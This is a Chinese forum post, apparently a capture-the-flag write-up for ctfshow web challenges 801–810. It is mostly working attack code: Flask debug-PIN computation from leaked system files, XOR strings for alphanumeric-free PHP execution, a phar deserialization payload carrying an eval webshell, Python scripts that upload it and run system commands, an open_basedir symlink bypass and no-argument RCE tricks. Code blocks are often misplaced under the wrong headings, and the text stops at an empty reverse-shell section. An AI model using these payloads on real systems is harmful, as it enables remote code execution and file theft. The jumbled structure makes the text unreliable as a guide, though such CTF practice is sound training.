找回密码
 立即注册
首页 业界区 安全 ctfshow web入门 常见姿势 Web801-Web810

ctfshow web入门 常见姿势 Web801-Web810

琶轮 前天 22:12
Web801(flask算PIN)

非预期解
/file?filename=/flag
预期解 计算pin码
/file?filename=/etc/passwd
发现能查看 说明是root
先查MAC地址
/file?filename=/sys/class/net/eth0/address
02:42:ac:0c:b1:e2
再查machine-id
/file?filename=/proc/sys/kernel/random/boot_id
1.png

/file?filename=/proc/self/cgroup
2.png

225374fa-04bc-4346-9f39-48fa82829ca9849ded351bf3457d3ba183f88102b90cabc7985317b3721f646e0e913a24fe8d
  1. import hashlib
  2. import getpass
  3. from flask import Flask
  4. from itertools import chain
  5. import sys
  6. import uuid
  7. import typing as t
  8. username='root'
  9. app = Flask(__name__)
  10. modname=getattr(app, "__module__", t.cast(object, app).__class__.__module__)
  11. mod=sys.modules.get(modname)
  12. mod = getattr(mod, "__file__", None)
  13. probably_public_bits = [
  14.     username, #用户名
  15.     modname,  #一般固定为flask.app
  16.     getattr(app, "__name__", app.__class__.__name__), #固定,一般为Flask
  17.     '/usr/local/lib/python3.8/site-packages/flask/app.py',   #主程序(app.py)运行的绝对路径
  18. ]
  19. print(probably_public_bits)
  20. mac ='02:42:ac:0c:b1:e2'.replace(':','')
  21. mac=str(int(mac,base=16))
  22. private_bits = [
  23.    mac,#mac地址十进制
  24. "225374fa-04bc-4346-9f39-48fa82829ca9849ded351bf3457d3ba183f88102b90cabc7985317b3721f646e0e913a24fe8d"
  25.      ]
  26. print(private_bits)
  27. h = hashlib.sha1()
  28. for bit in chain(probably_public_bits, private_bits):
  29.     if not bit:
  30.         continue
  31.     if isinstance(bit, str):
  32.         bit = bit.encode("utf-8")
  33.     h.update(bit)
  34. h.update(b"cookiesalt")
  35. cookie_name = f"__wzd{h.hexdigest()[:20]}"
  36. # If we need to generate a pin we salt it a bit more so that we don't
  37. # end up with the same value and generate out 9 digits
  38. h.update(b"pinsalt")
  39. num = f"{int(h.hexdigest(), 16):09d}"[:9]
  40. # Format the pincode in groups of digits for easier remembering if
  41. # we don't have a result yet.
  42. rv=None
  43. if rv is None:
  44.     for group_size in 5, 4, 3:
  45.         if len(num) % group_size == 0:
  46.             rv = "-".join(
  47.                 num[x : x + group_size].rjust(group_size, "0")
  48.                 for x in range(0, len(num), group_size)
  49.             )
  50.             break
  51.     else:
  52.         rv = num
  53. print(rv)
复制代码
3.png

4.png
  1. python3.8要用sha1 python3.6要用MD5
复制代码
  1. #MD5
  2. import hashlib
  3. from itertools import chain
  4. probably_public_bits = [
  5.      'flaskweb'# username
  6.      'flask.app',# modname
  7.      'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
  8.      '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
  9. ]
  10. private_bits = [
  11.      '25214234362297',# str(uuid.getnode()),  /sys/class/net/ens33/address
  12.      '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
  13. ]
  14. h = hashlib.md5()
  15. for bit in chain(probably_public_bits, private_bits):
  16.     if not bit:
  17.         continue
  18.     if isinstance(bit, str):
  19.         bit = bit.encode('utf-8')
  20.     h.update(bit)
  21. h.update(b'cookiesalt')
  22. cookie_name = '__wzd' + h.hexdigest()[:20]
  23. num = None
  24. if num is None:
  25.    h.update(b'pinsalt')
  26.    num = ('%09d' % int(h.hexdigest(), 16))[:9]
  27. rv =None
  28. if rv is None:
  29.    for group_size in 5, 4, 3:
  30.        if len(num) % group_size == 0:
  31.           rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
  32.                       for x in range(0, len(num), group_size))
  33.           break
  34.        else:
  35.           rv = num
  36. print(rv)
复制代码
web802(无字母数字命令执行)
  1. [/code][code]<?php
  2. $myfile = fopen("C:\\Users\\26387\\Desktop\\rce.txt", "w");
  3. $contents="";
  4. for ($i=1; $i < 256; $i++) {
  5.         for ($j=1; $j <256 ; $j++) {
  6.                 if($i<16){
  7.                         $hex_i='0'.dechex($i);
  8.                 }
  9.                 else{
  10.                         $hex_i=dechex($i);
  11.                 }
  12.                 if($j<16){
  13.                         $hex_j='0'.dechex($j);
  14.                 }
  15.                 else{
  16.                         $hex_j=dechex($j);
  17.                 }
  18.                 $preg = '/[a-z]|[0-9]/i';
  19.                 if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
  20.                                         echo "";
  21.             }
  22.   
  23.                 else{
  24.                 $a='%'.$hex_i;
  25.                 $b='%'.$hex_j;
  26.                 $c=(urldecode($a)^urldecode($b));
  27.                 if (ord($c)>=32&ord($c)<=126) {
  28.                         $contents=$contents.$c." ".$a." ".$b."\n";
  29.                 }
  30.         }
  31. }
  32. }
  33. fwrite($myfile,$contents);
  34. fclose($myfile);?>
复制代码
5.png

6.png

7.png

Web803(phar文件包含)
  1. [/code][align=center] 8.png [/align]
  2. 接着上传文件
  3. [code]<?php
  4. # -*- coding: utf-8 -*-
  5. # @Author: h1xa
  6. # @Date:   2022-03-19 12:10:55
  7. # @Last Modified by:   h1xa
  8. # @Last Modified time: 2022-03-19 13:27:18
  9. # @email: h1xa@ctfer.com
  10. # @link: https://ctfer.com
  11. error_reporting(0);
  12. highlight_file(__FILE__);
  13. $file = $_POST['file'];
  14. $content = $_POST['content'];
  15. if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
  16.     if(file_exists($file.'.txt')){
  17.         include $file.'.txt';
  18.     }else{
  19.         file_put_contents($file,$content);
  20.     }
  21. }
复制代码
Web804(phar反序列化)
  1. [/code][无参RCE攻防技巧-CSDN博客](https://blog.csdn.net/qq_45570082/article/details/106602261)
  2. [b]利用session_id[/b]
  3. [code]import requests
  4. url="http://6eda48f3-8082-442d-8823-c1cc2d7a2cdf.challenge.ctf.show/"
  5. data1={'file':'/tmp/a.phar','content':open('C:\\Users\\26387\\Desktop\\shell.phar','rb').read()}
  6. data2={'file':'phar:///tmp/a.phar/a','content':'123','1':'system("cat f*");'}
  7. requests.post(url,data=data1)
  8. r=requests.post(url,data=data2)
  9. print(r.text)
复制代码
9.png

10.png

但是发现session已存活
11.png

无法改变Session_id,此方法失败。
利用get_defined_vars ()函数
get_defined_vars():返回由所有已定义变量所组成的数组
而get_defined_vars()返回的又是一个数组,我们能够通过php的一系列数组函数读取到该数组中任意我们想要的值
  1. <?php
  2. # -*- coding: utf-8 -*-
  3. # @Author: h1xa
  4. # @Date:   2022-03-19 12:10:55
  5. # @Last Modified by:   h1xa
  6. # @Last Modified time: 2022-03-19 13:27:18
  7. # @email: h1xa@ctfer.com
  8. # @link: https://ctfer.com
  9. error_reporting(0);
  10. highlight_file(__FILE__);
  11. class hacker{
  12.     public $code;
  13.     public function __destruct(){
  14.         eval($this->code);
  15.     }
  16. }
  17. $file = $_POST['file'];
  18. $content = $_POST['content'];
  19. if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
  20.     if(file_exists($file)){
  21.         unlink($file);
  22.     }else{
  23.         file_put_contents($file,$content);
  24.     }
  25. }
复制代码
我们先current定位第一个get
  1. <?php
  2. class hacker{
  3.     public $code;
  4.     public function __destruct(){
  5.         eval($this->code);
  6.     }
  7. }
  8. $a=new hacker();
  9. $a->code="system('cat f*');";
  10. $phar = new Phar("shell.phar");
  11. $phar->startBuffering();
  12. $phar->setMetadata($a);
  13. $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
  14. $phar->addFromString("a.txt", "<?php eval(\$_POST[1]);?>");
  15. $phar->stopBuffering();
  16. ?>
复制代码
12.png

对于next() end()等函数我们可以举例子利用看看
13.png

14.png

这里我们就用end()了
  1. import requests  
  2. url="http://438d535d-6030-47bf-964d-f1054ab03155.challenge.ctf.show/"
  3. data1={'file':'/tmp/a.phar','content':open('C:\\Users\\26387\\Desktop\\shell.phar','rb').read()}
  4. data2={'file':'phar:///tmp/a.phar','content':'123'}
  5. requests.post(url,data=data1)
  6. r=requests.post(url,data=data2)
  7. print(r.text)
复制代码
发现可以显示"1",那我们只需要前面套个eval进行命令执行
  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. eval($_POST[1]);
复制代码
15.png

或者
  1. <?php
  2. $c = "glob:///*";
  3. $a = new DirectoryIterator($c);
  4. foreach($a as $f){
  5.     echo($f->__toString().'
  6. ');
  7. }
  8. ?>
复制代码
16.png

利用getallheaders()
getallheaders返回当前请求的所有请求头信息
17.png

18.png

我这里注入点用的是UA头
  1. <?php
  2. $a = $_GET['c'];
  3. if ( $b = opendir($a) ) {
  4.     while ( ($file = readdir($b)) !== false ) {
  5.         echo $file."
  6. ";
  7.     }
  8.     closedir($b);
  9. }
  10. ?>
复制代码
利用scandir()函数
获取当前目录文件
  1. <?php
  2. /*
  3. * by phithon
  4. * From https://www.leavesongs.com
  5. * detail: http://cxsecurity.com/issue/WLB-2009110068
  6. */
  7. header('content-type: text/plain');
  8. error_reporting(-1);
  9. ini_set('display_errors', TRUE);
  10. printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
  11. printf("disable_functions: %s\n", ini_get('disable_functions'));
  12. $file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
  13. $relat_file = getRelativePath(__FILE__, $file);
  14. $paths = explode('/', $file);
  15. $name = mt_rand() % 999;
  16. $exp = getRandStr();
  17. mkdir($name);
  18. chdir($name);
  19. for($i = 1 ; $i < count($paths) - 1 ; $i++){
  20.     mkdir($paths[$i]);
  21.     chdir($paths[$i]);
  22. }
  23. mkdir($paths[$i]);
  24. for ($i -= 1; $i > 0; $i--) {
  25.     chdir('..');
  26. }
  27. $paths = explode('/', $relat_file);
  28. $j = 0;
  29. for ($i = 0; $paths[$i] == '..'; $i++) {
  30.     mkdir($name);
  31.     chdir($name);
  32.     $j++;
  33. }
  34. for ($i = 0; $i <= $j; $i++) {
  35.     chdir('..');
  36. }
  37. $tmp = array_fill(0, $j + 1, $name);
  38. symlink(implode('/', $tmp), 'tmplink');
  39. $tmp = array_fill(0, $j, '..');
  40. symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
  41. unlink('tmplink');
  42. mkdir('tmplink');
  43. delfile($name);
  44. $exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
  45. $exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
  46. echo "\n-----------------content---------------\n\n";
  47. echo file_get_contents($exp);
  48. delfile('tmplink');
  49. function getRelativePath($from, $to) {
  50.   // some compatibility fixes for Windows paths
  51.   $from = rtrim($from, '\/') . '/';
  52.   $from = str_replace('\\', '/', $from);
  53.   $to   = str_replace('\\', '/', $to);
  54.   $from   = explode('/', $from);
  55.   $to     = explode('/', $to);
  56.   $relPath  = $to;
  57.   foreach($from as $depth => $dir) {
  58.     // find first non-matching dir
  59.     if($dir === $to[$depth]) {
  60.       // ignore this directory
  61.       array_shift($relPath);
  62.     } else {
  63.       // get number of remaining dirs to $from
  64.       $remaining = count($from) - $depth;
  65.       if($remaining > 1) {
  66.         // add traversals up to first matching dir
  67.         $padLength = (count($relPath) + $remaining - 1) * -1;
  68.         $relPath = array_pad($relPath, $padLength, '..');
  69.         break;
  70.       } else {
  71.         $relPath[0] = './' . $relPath[0];
  72.       }
  73.     }
  74.   }
  75.   return implode('/', $relPath);
  76. }
  77. function delfile($deldir){
  78.     if (@is_file($deldir)) {
  79.         @chmod($deldir,0777);
  80.         return @unlink($deldir);
  81.     }else if(@is_dir($deldir)){
  82.         if(($mydir = @opendir($deldir)) == NULL) return false;
  83.         while(false !== ($file = @readdir($mydir)))
  84.         {
  85.             $name = File_Str($deldir.'/'.$file);
  86.             if(($file!='.') && ($file!='..')){delfile($name);}
  87.         }
  88.         @closedir($mydir);
  89.         @chmod($deldir,0777);
  90.         return @rmdir($deldir) ? true : false;
  91.     }
  92. }
  93. function File_Str($string)
  94. {
  95.     return str_replace('//','/',str_replace('\\','/',$string));
  96. }
  97. function getRandStr($length = 6) {
  98.     $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  99.     $randStr = '';
  100.     for ($i = 0; $i < $length; $i++) {
  101.         $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
  102.     }
  103.     return $randStr;
  104. }
复制代码
获取上级目录文件
  1. <?php
  2. # -*- coding: utf-8 -*-
  3. # @Author: h1xa
  4. # @Date:   2022-03-19 12:10:55
  5. # @Last Modified by:   h1xa
  6. # @Last Modified time: 2022-03-19 13:27:18
  7. # @email: h1xa@ctfer.com
  8. # @link: https://ctfer.com
  9. highlight_file(__FILE__);
  10. if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {   
  11.     eval($_GET['code']);
  12. }
  13. ?>
复制代码
  1. /?code=eval(hex2bin(session_id(session_start())));
复制代码
19.png
  1. end() - 将内部指针指向数组中的最后一个元素,并输出。
  2. next() - 将内部指针指向数组中的下一个元素,并输出。
  3. prev() - 将内部指针指向数组中的上一个元素,并输出。
  4. reset() - 将内部指针指向数组中的第一个元素,并输出。
  5. each() - 返回当前元素的键名和键值,并将内部指针向前移动。
复制代码
经过测试 发现能读取当前目录的文件内容,但是读不到根目录的内容(可能是我太菜了呜呜呜,有知道的师傅可以私信T我一下)
Web807(反弹shell)

[code]
您需要登录后才可以回帖 登录 | 立即注册